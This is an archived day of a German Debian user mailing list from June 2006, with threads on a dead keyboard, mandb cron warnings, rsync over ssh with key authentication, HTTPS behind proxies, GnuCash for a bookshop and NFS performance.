Re: [Postingstatistik] Mai 2006

2006-06-08 Diskussionsfäden Christian Frommeyer
Am Mittwoch 07 Juni 2006 18:59 schrieb Robert Giebel:
 Da muss eher noch mehr rein, ich tauch ja nirgends auf! ;)

Das hilft Dir zwar nicht... aber vielleicht Poster mit dem meisten 
TOFU/HTML... ;)

SCNR
Chris

-- 
A: because it distrupts the normal process of thought
Q: why is top posting frowned upon


-- 
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Tastatur tot

2006-06-08 Diskussionsfäden Christoph Conrad
Hallo,

debian testing, also KDE 3.5, mit kernel 2.6.16.2 k7. Ab und zu ist die
Tastatur tot, nichts tut sich mehr. Die Maus lebt noch. Betätigen von
numlock auf der Tastatur bewirkt keine Veränderung der LED.
Aus/Einstecken der Tastatur bringt keine Abhilfe. Nur noch harter Reset.

Durchforsten von syslog brachte mich erst auf atkbd.c: Spurious ACK on
isa0060/serio0 - Some program, like XFree86, might be trying access
hardware directly.. Heute morgen ist die Tastatur aber wieder in den
Tiefschlaf versunken, ohne dass eine entsprechende Meldung erschienen
ist.

Ich verwende ACPI, mit 'echo mem  /sys/power/state'. Das hat die
letzten eineinhalb Jahre tadellos funktioniert, mit scriptgesteuerter
Ent/Wiederladung der USB-Module, sowohl mit Kernel 2.4.27 wie auch
2.6.14. Jetzt tritt das Phänomen aber auch mit 2.6.14 auf. Rückschrauben
auf 2.4.27 brachte Probleme mit der Maus, sie wurde nicht mehr
eingebunden.

Was tun? Kann ich die Tastatur wiederbeleben, per Script, welches ich
per Maus anklickere? Anmelden als zweiter User über Benutzer wechseln
geht zum Beispiel, und dann geht die Tastatur auch wieder in der neuen
Session.

Freundliche Grüße,
Christoph


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Re: Tastatur tot

2006-06-08 Diskussionsfäden Christoph Conrad
noch eine Ergänzung: Zudem stürzt gelegentlich kwin mit einer
Segmentation Violation ab.


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mandb - nervige Logs nach Update

2006-06-08 Diskussionsfäden Peter Velan
Hallo,

seit ein Paar Tagen nervt der daily cron mit Warnmeldungen von mandb:

 /etc/cron.daily/man-db:
 mandb: Kann /usr/share/man/man1x/bitmap.1x nicht öffnen: Datei oder 
 Verzeichnis nicht gefunden
 mandb: Warnung: /usr/share/man/man1/atobm.1x.gz: ungültige symbolische 
 Verknüpfung oder ROFF-».so«-Anfrage
 mandb: Kann /usr/share/man/man1x/bitmap.1x nicht öffnen: Datei oder 
 Verzeichnis nicht gefunden
 mandb: Warnung: /usr/share/man/man1/bmtoa.1x.gz: ungültige symbolische 
 Verknüpfung oder ROFF-».so«-Anfrage

Habe versucht mit mandb -c die Datenbank neu zu erstellen. das brachte
aber nichts. Wo bunkert mandb den Pfad /usr/share/man/man1x?

Peter


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Re: Rsync und ssh Problem

2006-06-08 Diskussionsfäden Torsten Geile

Hallo,

Andreas Pakulat schrieb:

On 07.06.06 18:19:39, [EMAIL PROTECTED] wrote:

2 Dinge vorweg:

1. Hier sind Realnamen auch im From-Header erwuenchst
  
Ja, ist mir bekannt. War keine Absicht. Habe von meinem frisch 
installierten Rechner gepostet. Da war noch nicht alles so optimal 
eingestellt.



2. Es ist unhoeflich den Thread eines anderen zu klauen, bitte eroeffne
naechstes Mal einen neuen Thread indem du eine neue Email schreibst und
nicht indem du auf eine bestehende Antwortest und das Subject aenderst.
  

Das war ebenfalls keine Absicht. Sorry an den original Poster.



Das was da gemacht wird ist public-key-Authorisierung. Angenommen du
hast client - der Rechner auf dem rsync gestartet wird und host - der
Server von dem die Daten runterkopiert werden. Dann erzeugst du am
client ein public/private Key-Paar und legst den public-Key auf host in
.ssh/authorized_keys ab.  Das ganze unter dem User der spaeter rsync
aufruft am client und unter dem User als der du dich einloggst auf host.
  


O.K so hatte ich es auch gemacht, also 2x als root sozusagen.

Dann koennen sich nur User einloggen deren private key zu dem auf host
abgelegten public key passt. Wenn man beim Erzeugen des Keys ein
Passwort angibt muss man das beim Einloggen auch angeben (oder man
arbeitet mit einem ssh-agent).
  


Passwort hatte ich bewusst weggelassen, wegen des Komforts im Skript.

Das mit dem from= hab ich noch nicht probiert.
  


Schade.

Gruß

Torsten




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Re: Rsync und ssh Problem

2006-06-08 Diskussionsfäden Torsten Geile

Hallo,

Jan Kolarik schrieb:

Hallo,

Zur besseren Orientierung wäre vielleicht die Ausgabe von grep 
PermitRootLogin /etc/ssh/sshd_config hilfreich. Hinweise bzgl. des 
Problems könnte die Ergänzung des ssh-Aufrufs mit der Option -v 
bringen.

samba:~/.ssh# grep PermitRootLogin /etc/ssh/sshd_config
PermitRootLogin yes

tango:~/skripte# grep PermitRootLogin /etc/ssh/sshd_config
PermitRootLogin yes

Der Aufruf mit -v bringt nichts aussagekräftiges zu Tage.

tango:~/skripte# rsync -a -v -e ssh -i /root/skripte/tango-rsync-key 
[EMAIL PROTECTED]:/home /

Password:
receiving file list ... done

Das Passwort wurde abgefragt, da ich in authorized_keys die Zeile 
'from=192.168.2.83' stehen habe.





Vielleicht auch noch (um etwaige Syntaxfehler auszuschließen) aus 
authorized_keys den Eintrag bis zum Anfang des Schlüssels posten.


Dies ist der Auszug aus authorized_keys auf [EMAIL PROTECTED] in 
/root/.ssh/authorized_keys



from=192.168.2.83,command=/root/skripte/tango-rsync-key ssh-dss 
hier steht dann der inhalt des tango-rsync-key.pub 
[EMAIL PROTECTED]



Tango (192.168.2.83) wird dann das Script aufgerufen. Ohne 'from' und 
'command' brauche ich auch kein Passwort mehr eingeben.


Was mich gerade ein wenig wundert ist, dass in der beschriebenen 
Anleitung am Ende von authorized_keys auf dem host '[EMAIL PROTECTED]' steht. 
In den von tango erzeugten pub key aber nur '[EMAIL PROTECTED]', also ohne '='



Gruß

Torsten


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Re: apache2 rewrite port

2006-06-08 Diskussionsfäden Ralf Doering
Reinhold Plew [EMAIL PROTECTED] writes:

 Wieso kann ich eigentlich meine Server per https über Port 4443
 trotz Proxy ansprechen?

Weil dein Proxy offenbar CONNECT auch auf Ports != 443 zulässt und
damit relativ liberal eingestellt ist.

Ralf



Programm für Buchhandel

2006-06-08 Diskussionsfäden Klaus Becker
Hallo Liste,

ich suche für eine kleine Buchhandlung ein Programm, mit dem man Bestellungen, 
Preise, Rechnungen usw verwalten kann.

Falls jemand so etwas kennt...

tschüs

Klaus



Re: apache2 rewrite port

2006-06-08 Diskussionsfäden Jan Kesten
Dirk Salva wrote:

 Mich interessiert da aber noch ein Aspekt:
 Ich habe das Problem, daß ich den Port 443 zwingend für eine bestimmte
 Anwendung benötige. Jetzt möchte ich auf dem lauschenden Rechner, auf
 welchem der Dienst auf 443 horcht, aber auch https anbieten. https auf
 80 oder 81 funktioniert widerum nicht durch einen Proxy hindurch, das
 habe ich schon getestet. Gibt es da eine Lösung, oder habe ich einfach
 Pech und muß mich entscheiden?

Vermutlich letzteres. Hatte beim Hinweis auf mod_proxy eigentlich total
vergessen, nachzuschauen ob das mit SSL ueberhaupt geht, aber das
scheint moeglich zu sein:

In addition, extended features are provided by other modules. Caching is
provided by mod_cache and related modules. The ability to contact remote
servers using the SSL/TLS protocol is provided by the SSLProxy*
directives of mod_ssl. These additional modules will need to be loaded
and configured to take advantage of these features.

Wenn ich das richtig sehe, hast Du auf Port 443 einen SSL-Dienst am
Laufen und auf Port 80 einen normalen HTTP-Dienst. Wenn Du jetzt noch
einen zweiten haben willst waere ein weiterer Port notwendig (abgesehen
von dem Problem, dass Du pro IP nur ein SSL Zertifikat verwenden
kannst). Das wird wegen des Proxy der nur 80 und 443 zulaesst nicht
funktionieren, einzige Loesung waere ein SSL-Proxy wie ihn einige
Anbieter haben, so dass Du nach aussen nur einen SSL-Dienst hast und
dann intern den Proxy auf deine Dienste:

https://ssl.my.tld/foo:443 --- intern auf Server A
https://ssl.my.tld/bar:443 --- intern auf Server B

Ob das fuer deinen Fall geht ist eine andere Frage. Und setzt natuerlich
voraus, dass umverschluesselt werden darf (oder noch besser intern kein
SSL erforderlich ist).

Cheers,
Jan


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Re: Programm für Buchhandel

2006-06-08 Diskussionsfäden Tobias Krais
Hi Klaus,

 ich suche für eine kleine Buchhandlung ein Programm, mit dem man 
 Bestellungen, 
 Preise, Rechnungen usw verwalten kann.

evt. GnuCash. Wenn du es dir aus Sid ziehen willst bekommst du sogar die
 2.0 beta (1.9.7, aber eben beta...). Die Pakete lassen sich nicht
installieren, aber mit einem dpkg -i --force-all gnucash... funktioniert
es trotzdem wunderbar.

Grüßle, Tobi


-- 
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Re: [Postingstatistik] Mai 2006

2006-06-08 Diskussionsfäden Frank Lanitz
Am Donnerstag 08 Juni 2006 08:12 schrieb Christian Frommeyer:
 Am Mittwoch 07 Juni 2006 18:59 schrieb Robert Giebel:
  Da muss eher noch mehr rein, ich tauch ja nirgends auf! ;)

 Das hilft Dir zwar nicht... aber vielleicht Poster mit dem meisten
 TOFU/HTML... ;)

Ein statistischer Pranger sozusagen  

Gruß, Frank


pgpHrj1GG4KPO.pgp
Description: PGP signature


Re: Probleme mit Sarge 3.1r2

2006-06-08 Diskussionsfäden Harald Wenninger
* Am Mittwoch, den 07. Jun 2006 um 18:37, schrieb Jens Schüßler:

  * xemacs stürzt unter X direkt nach dem Start mit einem Segfault ab,
ohne dass ein Fenster geöffnet wird (WM ist fluxbox). Auf der Konsole
funktioniert es dagegen ganz normal.
 Hab ich nicht installiert, kann ich dir jetzt nicht genau sagen. Aber
 schau mal was 
 $ cat /etc/X11/fluxbox/fluxbox-menu|grep xemacs
 sagt. Dann siehst du, wie der aufgerufen wird.

Ich starte den xemacs ganz normal aus einem xterm.

  * Ich habe versucht, die Bitstream-Vera-TT-Fonts unter X via xfstt
zugänglich zu machen. Das klappt nicht, weil die Fonts anscheinend
falsch registriert werden. Unter xfontsel taucht die foundry (bitstream)
unter der family auf, die family (Vera xy) unter weight usw.
Alles im Fontnamen ist sozusagen ein Feld nach rechts gerutscht.
 xfstt ist bei XFree4x nicht mehr notwendig. Du kannst den Pfad zu den 
 Schriften in
 /etc/X11/XF86Config-4 eintragen und dann neustarten.

 Ohne Neustart des XServers sollte
 'xset fp+ /var/lib/defoma/x-ttcidfont-conf.d/dirs/TrueType'
 genügen, sofern das Paket ttf-bitstream-vera installiert ist.

Danke!
Werde ich mal probieren.

Gruß,
Harald


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Re: Tastatur tot

2006-06-08 Diskussionsfäden Andreas Pakulat
On 08.06.06 08:07:49, Christoph Conrad wrote:
 debian testing, also KDE 3.5, mit kernel 2.6.16.2 k7. Ab und zu ist die
 Tastatur tot, nichts tut sich mehr. Die Maus lebt noch. Betätigen von
 numlock auf der Tastatur bewirkt keine Veränderung der LED.
 Aus/Einstecken der Tastatur bringt keine Abhilfe. Nur noch harter Reset.
[...] 
 Was tun? Kann ich die Tastatur wiederbeleben, per Script, welches ich
 per Maus anklickere? Anmelden als zweiter User über Benutzer wechseln
 geht zum Beispiel, und dann geht die Tastatur auch wieder in der neuen
 Session.

Hmm, probiere doch mal, wenn die Tastatur ausgefallen ist ob ein
laengeres betaetigen der Tasten (so um die 3-4 Sekunden gedrueckt
halten) zu einem Ergebnis fuehrt. Wenn dem so ist, sind einfach nur die
Acessibility-Features aktiviert. Das passiert, IIRC, z.B. wenn man die
Shift-Taste sehr lange drueckt. Man kann das natuerlich abstellen im
Kontrollzentrum unter Regionaleinstellungen, welche Knoepfe genau weiss
ich so aus dem Kopf nicht.

Andreas

-- 
You will gain money by a speculation or lottery.


-- 
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Re: Programm für Buchhandel

2006-06-08 Diskussionsfäden Klaus Becker
Le Jeudi 08 Juin 2006 09:46, Tobias Krais a écrit :
 Hi Klaus,

  ich suche für eine kleine Buchhandlung ein Programm, mit dem man
  Bestellungen, Preise, Rechnungen usw verwalten kann.

 evt. GnuCash. Wenn du es dir aus Sid ziehen willst bekommst du sogar die
  2.0 beta (1.9.7, aber eben beta...). Die Pakete lassen sich nicht
 installieren, aber mit einem dpkg -i --force-all gnucash... funktioniert
 es trotzdem wunderbar.


Hallo Tobi,

ich hab's installiert, ist ein Versuch wert. Das Programm spricht aber deutsch 
und ich brauche es auf französisch, da ich in Frankreich wohne. Unter KDE 
habe ich versuchsweise Französisch als Sprache gewählt, bringt aber nichts. 
Auch export LANG=fr_FR.UTF-8 ; gnucash oder export LANG=fr_FR ; gnucash 
ändert die Sprache nicht, obwohl es das bei manchen Programmen tut.

Gruß

Klaus



[OT] Oxyl Homepage down?

2006-06-08 Diskussionsfäden Til Obes

Hallo,

völlig OT, aber google sagt mir nichts und vielleicht
lesen ja einige Betroffene mit. Der Server ist zwar
erreichbar, aber ausliefern tut er gar nichts. Der
Postfix verhält sich auch recht komisch. Hat jemand
eine Idee, wie man den Betreiber kontaktieren könnte?

MfG
Til


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Re: [Postingstatistik] Mai 2006

2006-06-08 Diskussionsfäden Udo Mueller
Hallo Frank,

* Frank Lanitz schrieb [08-06-06 09:48]:
 Am Donnerstag 08 Juni 2006 08:12 schrieb Christian Frommeyer:
  Am Mittwoch 07 Juni 2006 18:59 schrieb Robert Giebel:
   Da muss eher noch mehr rein, ich tauch ja nirgends auf! ;)
 
  Das hilft Dir zwar nicht... aber vielleicht Poster mit dem meisten
  TOFU/HTML... ;)
 
 Ein statistischer Pranger sozusagen  

Hoffentlich findet sich jemand, der diese nützliche Funktion in das
Script einbauen kann.

Mit freundlichen Grüßen

Udo Müller

-- 
ComputerService Udo Müller  Tel.: 0441-36167578
Schöllkrautweg 16   Fax.: 0441-36167579
26131 Oldenburg   [EMAIL PROTECTED] Mobil: 0162-4365411


signature.asc
Description: Digital signature


Re: Laser Maus

2006-06-08 Diskussionsfäden Marcus Walther
Hallo Udo!

Udo Mueller schrieb:
[...]
 Also soll man dir lieber nix empfehlen?
 Doch, aber nicht hab $Programm auf $URI gefunden (das kann ich
 selbst).
 
 Dann kann man dir auf obige Frage aber nur antworten:
 
 Dafür braucht man ein Programm. Welches, das findest du sicher bei
 google.

Erstens kann man sich eine solche Antwort hier nun wirklich ersparen
und zweitens kann man auch so wie du antworten. Oder mit Ich habe seit
$Zeitraum $Programm im Einsatz, funktioniert [gut|schlecht]..

 Also ich persönlich bin auch für allgemeine Programmhinweise
 dankbar. Dann kann ich selber herausfinden, obs das tut, was ich
 will.

Du bist dafür dankbar, ich nicht. Aber das sollte eigentlich kein
Problem sein. Wenn niemand genaueres über das Programm/Problem weiß,
dann wird es eben selbst untersucht. Unsere Standpunkte sind da nicht so
richtig kompatibel. ;)

 [EMAIL PROTECTED]:~$ sudo lomoco -i | grep Battery
 Battery status: 7 (full)

 mit MX1000
 Prima. Solche praktischen Erfahrungen hatte ich gesucht. Danke.
 
 Diese praktische Erfahrung habe ich so gemacht:
 
 apt-get install lomoco
 lomoco -i
 apt-get --purge reomve lomoco

Ich habe hier ein altes Sarge mit einigen Backports. Da gibt es
lomoco nicht als Paket. Somit steigt der Aufwand, dass mal schnell
zu testen.

Gruß, Marcus



Emailzugriff auf alle domains.

2006-06-08 Diskussionsfäden Markus Braun

Hallo,

überlege gerade ich wich das am besten realisisern kann, dass ich bei 2 
domainnamen, jeweils auf die Email Ordner zugreifen kann.


Sprich

Code:
[EMAIL PROTECTED] ; [EMAIL PROTECTED]


Hierfür gibt es angelegte verzeichnisse unter

/var/opt/domain.de

/var/opt/domain.info

Darunter natürlich der jweilige user.

Habe übrigens courier und debian sarge und exim4 laufen.

Stelle mri das so vor,d ass ich dann auch diesen imap ordner abbonieren 
kann.


Ich weiss zwar das ich shared folders machen kann, aber bis dato dann nur 
auf eine doamain bezogen, aber vielleicht gibt es auch eine einfachere 
lösung.


ich hoffe ich habs richtig erklärt.

bye
marcus

_
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--
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Re: Problem mit exim.conf, der port-Option (remote_smtp) und flexibler Wertzuweisung

2006-06-08 Diskussionsfäden Marc Haber
On Wed, 07 Jun 2006 22:13:39 +0200, Daniel Leidert
[EMAIL PROTECTED] wrote:
Ließe sich das mit
Exim4 denn einfacher realisieren?

Es ist jedenfalls einfacher, jemanden zu finden, der sich mit exim 4
auskennt.

Ich persönlich sehe nicht ein, warum ich meine Zeit mit einer seit
vier Jahren veralteten Version von exim verbringen soll, während
derjenige, dem ich helfe, sich nicht einmal die Zeit genommen hat um
eine in Ansätzen aktuelle Version der Software zum Einsatz zu bringen.

Exim 3 wird übrigens in Kürze aus Debian unstable entfernt.

Grüße
Marc

-- 
-- !! No courtesy copies, please !! -
Marc Haber |Questions are the | Mailadresse im Header
Mannheim, Germany  | Beginning of Wisdom  | http://www.zugschlus.de/
Nordisch by Nature | Lt. Worf, TNG Rightful Heir | Fon: *49 621 72739834



Re: apache2 rewrite port

2006-06-08 Diskussionsfäden Ulf Volmer
On Thu, Jun 08, 2006 at 12:42:09AM +0200, Dirk Salva wrote:

 Ich hatte jetzt nur die wahnwitzige Idee, daß der lighttpd (oder von
 mir aus auch irgendein anderes httpd) anhand des Inhaltes filtern
 kann: so eine Art CONNECT SSH im ersten Paket schickt dann zum sshd,
 und ein CONNECT HTTP im ersten Paket schickt dann an den httpsd. Aber
 da scheine ich wohl eher Verständnislücken zu haben (die aber hiermit
 dann geschlossen sind).

Grundsätzlich wäre das mit einem load-balancer möglich, der ssh und
https differenzieren kann. 

Mir ist allerdings nicht derartiges bekannt.

Die 'kleine' Lösung für dein Problem könnte sein, dem httpd ein cgi zu
verpassen, mit dem du manuell zwischen ssh/https- Betrieb umschaltest.

cu
ulf

-- 
Ulf Volmer
[EMAIL PROTECTED]
www.u-v.de


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Re: Programm für Buchhandel

2006-06-08 Diskussionsfäden Tobias Krais
Hi Klaus,

[...]

 ich hab's installiert, ist ein Versuch wert. Das Programm spricht aber 
 deutsch 
 und ich brauche es auf französisch, da ich in Frankreich wohne. Unter KDE 
 habe ich versuchsweise Französisch als Sprache gewählt, bringt aber nichts. 
 Auch export LANG=fr_FR.UTF-8 ; gnucash oder export LANG=fr_FR ; gnucash 
 ändert die Sprache nicht, obwohl es das bei manchen Programmen tut.

Stimmt. Für Deutsch und Englisch sollte dein Wunsch funktionieren, aber
die französische Version ist nicht. Dann solltest du noch auf die
stabile Version wechseln. Die bekommst du sogar mit HBCI Unterstützung hier:
http://aqbanking.alioth.debian.org/debian/ unstable/

oder einfach aus Testing. Wenn du ein Unstable System fährst musst du
die Installation einfach wieder forcen.

Grüßle, Tobias


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Re: Programm für Buchhandel

2006-06-08 Diskussionsfäden niels jende
Hallo Klaus

Tobias Krais schrieb:
 Hi Klaus,

 [...]

   
 ich hab's installiert, ist ein Versuch wert. Das Programm spricht aber 
 deutsch 
 und ich brauche es auf französisch, da ich in Frankreich wohne. Unter KDE 
 habe ich versuchsweise Französisch als Sprache gewählt, bringt aber nichts. 
 Auch export LANG=fr_FR.UTF-8 ; gnucash oder export LANG=fr_FR ; gnucash 
 ändert die Sprache nicht, obwohl es das bei manchen Programmen tut.
 

   

wie wäre es denn, wenn Du die Literaturdatenbank aus OOo nimmst und die
mit einem Rechnungsformular in Caclc verbindest? Ist nur mal so eine Idee...

gruß
niels

-- 
## Registered Linux User #415834 -- http://counter.li.org/
## Debian Etch Kernel 2.6.15
## Windows, Linux und Mac Office-Suite -- http://de.openoffice.org/
## Die OpenOffice.org PrOOo-Box -- http://prooo-box.org/




-- 
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Re: Programm für Buchhandel

2006-06-08 Diskussionsfäden Tobias Krais
Hi Nils,

 ich hab's installiert, ist ein Versuch wert. Das Programm spricht aber 
 deutsch 
 und ich brauche es auf französisch, da ich in Frankreich wohne. Unter KDE 
 habe ich versuchsweise Französisch als Sprache gewählt, bringt aber nichts. 
 Auch export LANG=fr_FR.UTF-8 ; gnucash oder export LANG=fr_FR ; gnucash 
 ändert die Sprache nicht, obwohl es das bei manchen Programmen tut.

 wie wäre es denn, wenn Du die Literaturdatenbank aus OOo nimmst und die
 mit einem Rechnungsformular in Caclc verbindest? Ist nur mal so eine Idee...

Wäre auch eine Möglichkeit.

GnuCash bietet dir halt noch Auswertungen, eine Bilanz und auch eine
GV-Rechnung,... alles was so eine Buchhaltung mit sich bringt.

Grüßle, Tobias


-- 
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Re: Programm für Buchhandel

2006-06-08 Diskussionsfäden niels jende
Hi Tobi!

Tobias Krais schrieb:

[...]
 Wäre auch eine Möglichkeit.

 GnuCash bietet dir halt noch Auswertungen, eine Bilanz und auch eine
 GV-Rechnung,... alles was so eine Buchhaltung mit sich bringt.

   

gibt es GnuCash denn auch mit implementiertem frz Steuerrecht? Weil die
Franzosen können ja z.Bsp. nichts mit einem Deutschen od
Österreichischem Kontenrahmen anfangen.

 Grüßle, Tobias
   
gruß
niels



-- 
## Registered Linux User #415834 -- http://counter.li.org/
## Debian Etch Kernel 2.6.15
## Windows, Linux und Mac Office-Suite -- http://de.openoffice.org/
## Die OpenOffice.org PrOOo-Box -- http://prooo-box.org/




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Re: Programm für Buchhandel

2006-06-08 Diskussionsfäden Frank Lanitz
Am Donnerstag 08 Juni 2006 11:49 schrieb niels jende:
 Hi Tobi!

 Tobias Krais schrieb:

 [...]

  Wäre auch eine Möglichkeit.
 
  GnuCash bietet dir halt noch Auswertungen, eine Bilanz und auch eine
  GV-Rechnung,... alles was so eine Buchhaltung mit sich bringt.

 gibt es GnuCash denn auch mit implementiertem frz Steuerrecht? Weil die
 Franzosen können ja z.Bsp. nichts mit einem Deutschen od
 Österreichischem Kontenrahmen anfangen.

Unterscheidet sich das so stark? 

Gruß Frank 



Re: Programm für Buchhandel

2006-06-08 Diskussionsfäden niels jende
Hallo Frank,

Frank Lanitz schrieb:
 Am Donnerstag 08 Juni 2006 11:49 schrieb niels jende:
   
 Hi Tobi!

 Tobias Krais schrieb:

 [...]

 
 Wäre auch eine Möglichkeit.

 GnuCash bietet dir halt noch Auswertungen, eine Bilanz und auch eine
 GV-Rechnung,... alles was so eine Buchhaltung mit sich bringt.
   
 gibt es GnuCash denn auch mit implementiertem frz Steuerrecht? Weil die
 Franzosen können ja z.Bsp. nichts mit einem Deutschen od
 Österreichischem Kontenrahmen anfangen.
 

 Unterscheidet sich das so stark? 
   

yep. das tut es...angefangen bei den Mehwertsteuersätzen, den
Berichtszeiträumen, etc pp

 Gruß Frank 

   
gruß
niels

-- 
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## Debian Etch Kernel 2.6.15
## Windows, Linux und Mac Office-Suite -- http://de.openoffice.org/
## Die OpenOffice.org PrOOo-Box -- http://prooo-box.org/




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Mozilla Mail druckt nur Kaestchen

2006-06-08 Diskussionsfäden Christoph Bier
Hallo zusammen,

seit langem muss ich mal wieder eine E-Mail ausdrucken und es
erscheinen fast nur Kästchen anstelle der jeweiligen Zeichen (bis
auf wenige Ausnahmen: -:,()+#.). Ich habe schon viele
verschiedene Schriften ausprobiert und xprint entfernt (muss ich nun
an anderer Stelle mir Problemen rechnen?), in den Eigenschaften »gs
-q -sDEVICE=pswrite -sOutputFile=- -dNOPAUSE -dBATCH
-dMozConvertedToLevel2=true - | lpr« (damit hatte es bisher
funktioniert) und einfach nur »lpr« ausprobiert. Nichts hilft. CUPS
ist korrekt konfiguriert, da ich ansonsten ja auch problemlos
drucken kann. Außerdem sind die Kästchen auch in der
PostScript-Datei enthalten, wenn ich in eine Datei drucke.

Hat jemand eine Idee, was ich noch ausprobieren könnte?

[EMAIL PROTECTED]:~$ dpkg -l mozilla-mailnews | grep ^ii
ii  mozilla-mailne 1.7.8-1sarge6  The Mozilla Internet application
suite - mai

Viele Grüße,
Christoph
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+++ Typografie-Regeln: http://www.zvisionwelt.de/typokurz.pdf (1.4)


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Re: Performance-Problem mit GBit-Netzwerkverbindung

2006-06-08 Diskussionsfäden Gordon Grubert

Hallo Richard,


Das interessante ist, dass ich von einem anderen Linux-Client aus
(kein Debian) in beiden Faellen (also am GB- und am 100MBit-Port)
via nfs ca. 10MB/s schaffe.



Problem mit der Verkabelung/den Switches/dem Server.

Diese Probleme moechte ich ausschliessen, da:
- die nfs-Probleme nur an meinen Debian-Client auftreten (bei einem
  Ubuntu-Client waren diese Probleme auch da, haben sich aber mit
  einem Update von Dapper Drake Beta2 auf das stable Release
  erledigt)

Letzeres ist interessant. Nachdem das mit 'nem Update (Ubuntu Klient)
erledigt war, wird's wohl mit einer schlechten Version des NFS Paketes
aber eher noch mit den verwendeten Karten-Treibern i.d. Kernen
zusammenhaengen. 
Findest du an braven Rechnern auch die server not responding

Fehlermeldung?

bei den Suse-Kisten nicht und bei dem aktualisierten Ubuntu seit dem
Update auch nicht mehr.


Die Netzwerkeinstellungen sind jederzeit in Ordnung. Prinzipiell gibt
es ja mit dem Gigabit auch keine Probleme: Ich erreiche ohne
Optimierung ca. 40 MB/s. Nur wenn ich vom Debian-Client via nfs ueber
Gigabit 

..ist hier dann ein Switch dazwischen?

Jupp. Der Server haengt an einem GBit-Port des Switches und die Clients
(auch wenn diese teilweise GBit-Netzkarten haben) an den 100 MBit-Ports.


Was fuer Karten und welche Kerne hast du auf den Rechnern laufen?

Server:
- Linux SERVER 2.6.8-11-amd64-generic
- BCM95780 mit dem Treiber tg3 v3.43f (Jan 9, 2006)

Client Suse:
- Linux SUSE-CLIENT 2.6.8-24.19-default
- Yukon Gigabit Ethernet mit Standard-Treibern (Suse 9.2)

Client Ubuntu:
- Linux UBUNTU-CLIENT 2.6.15-23-686
- BCM5752KFBG mit Treiber tg3 v3.47 (Dec 28, 2005)

Problematischer Debian-Client (baugleich zum Suse-Client):
- Linux DEBIAN-CLIENT 2.6.15.1
- Yukon Gigabit Ethernet mit Standard-Treibern (Debian Sarge AMD64)


Zeigt nfsstat was Auffaelliges?(mag ich eigentlich schon ausschliessen)

Server rpc stats:
calls  badcalls   badauthbadclntxdrcall
228965 2  2  0  0

Daran aendert sich bei den problematischen Transaktionen auch nichts.

Schoene Gruesse
Gordon


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Re: Programm für Buchhandel

2006-06-08 Diskussionsfäden Tobias Krais
Hi Nils,

 [...]
 Wäre auch eine Möglichkeit.

 GnuCash bietet dir halt noch Auswertungen, eine Bilanz und auch eine
 GV-Rechnung,... alles was so eine Buchhaltung mit sich bringt.

 gibt es GnuCash denn auch mit implementiertem frz Steuerrecht? Weil die
 Franzosen können ja z.Bsp. nichts mit einem Deutschen od
 Österreichischem Kontenrahmen anfangen.

das alte konnte das meines Wissens. Das neue bestimmt auch, sobald die
fr-Version raus ist. Oder du nimmst dir den fr-Kontenrahmen aus 1.8.x
und verwendest in in 1.9.x

Grüßle, Tobias


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Re: mandb - nervige Logs nach Update

2006-06-08 Diskussionsfäden Richard Mittendorfer
Also sprach Peter Velan [EMAIL PROTECTED] (Thu, 08 Jun 2006 08:46:20
+0200):
 Hallo,

Hi,

 seit ein Paar Tagen nervt der daily cron mit Warnmeldungen von mandb:
 
  /etc/cron.daily/man-db:
  mandb: Kann /usr/share/man/man1x/bitmap.1x nicht öffnen: Datei oder
  Verzeichnis nicht gefunden mandb: Warnung:
  /usr/share/man/man1/atobm.1x.gz: ungültige symbolische Verknüpfung
  oder ROFF-».so«-Anfrage mandb: Kann /usr/share/man/man1x/bitmap.1x
  nicht öffnen: Datei oder Verzeichnis nicht gefunden mandb: Warnung:
  /usr/share/man/man1/bmtoa.1x.gz: ungültige symbolische Verknüpfung
  oder ROFF-».so«-Anfrage
 
 Habe versucht mit mandb -c die Datenbank neu zu erstellen. das
 brachte aber nichts. Wo bunkert mandb den Pfad /usr/share/man/man1x?

Benenne /var/cache/man mal nach man.bkup um und fuehre das man-db script
in /etc/cron.daily per Hand aus. 

# /etc/cron.daily/man-db

Funktioniert danach alles, loesche das Verz. man.bkup.
 
 Peter

sl ritch



Re: lighttpd nur auf Port 443 als httpds laufen lassen?

2006-06-08 Diskussionsfäden Michael Bienia
On 2006-06-07 09:16:46 +0200, Dirk Salva wrote:
 Ein Versuch gestern ist gescheitert. Ich habe den normalen httpd auf
 81 gelegt und den httpsd auf 80. Durch einen Proxy hindurch
 (welcher durchaus 443 erlaubt, ist ja wie gesagt nur ein Versuch
 gewesen) geht das nicht. Leider.

Hast du bei deinem Versuch auch daran gedacht, dem Browser zu sagen,
dass er deinen httpsd auf Port 80 und nicht 443 findet?
Also nicht https://dein.rechner/bla sondern https://dein.rechner:80/bla

Michael


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Re: mandb - nervige Logs nach Update

2006-06-08 Diskussionsfäden Peter Velan
am 2006-06-08 13:11 schrieb Richard Mittendorfer:
 Also sprach Peter Velan [EMAIL PROTECTED] (Thu, 08 Jun 2006 08:46:20
 +0200):
 Hallo,
 
 Hi,
 
 seit ein Paar Tagen nervt der daily cron mit Warnmeldungen von mandb:
 
  /etc/cron.daily/man-db:
  mandb: Kann /usr/share/man/man1x/bitmap.1x nicht öffnen: Datei oder
 [...]
 
 Habe versucht mit mandb -c die Datenbank neu zu erstellen. das
 brachte aber nichts. Wo bunkert mandb den Pfad /usr/share/man/man1x?
 
 Benenne /var/cache/man mal nach man.bkup um und fuehre das man-db script
 in /etc/cron.daily per Hand aus. 
 
 # /etc/cron.daily/man-db
 
 Funktioniert danach alles,

JA, es funktioniert, danke!

 loesche das Verz. man.bkup.

... schwups ... und weg.

Peter


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Re: Problem mit exim.conf, der port-Option (remote_smtp) und flexibler Wertzuweisung

2006-06-08 Diskussionsfäden Daniel Leidert
Am Donnerstag, den 08.06.2006, 11:09 +0200 schrieb Marc Haber:
 On Wed, 07 Jun 2006 22:13:39 +0200, Daniel Leidert
 [EMAIL PROTECTED] wrote:
 Ließe sich das mit
 Exim4 denn einfacher realisieren?
 
 Es ist jedenfalls einfacher, jemanden zu finden, der sich mit exim 4
 auskennt.

Prima. Und? Was soll mir dieser Satz sagen? Dass ich auf Teufel komm
raus jetzt Exim 4 installieren soll? Um damit meine funktionierende
Umgebung auszuschalten, bis ich die mir momentan größtenteils fremde
Umgebung im Griff habe (was x Tage oder Wochen dauern kann)? Mir bei
Fragen, die an Leute wie dich stelle, da ich mit der Software nicht
zurecht komme und nicht die Zeit hatte, mich einzulesen, dann auch
Vorwürfe machen lassen muss, warum so dumm gehandelt habe?

 Ich persönlich sehe nicht ein, warum ich meine Zeit mit einer seit
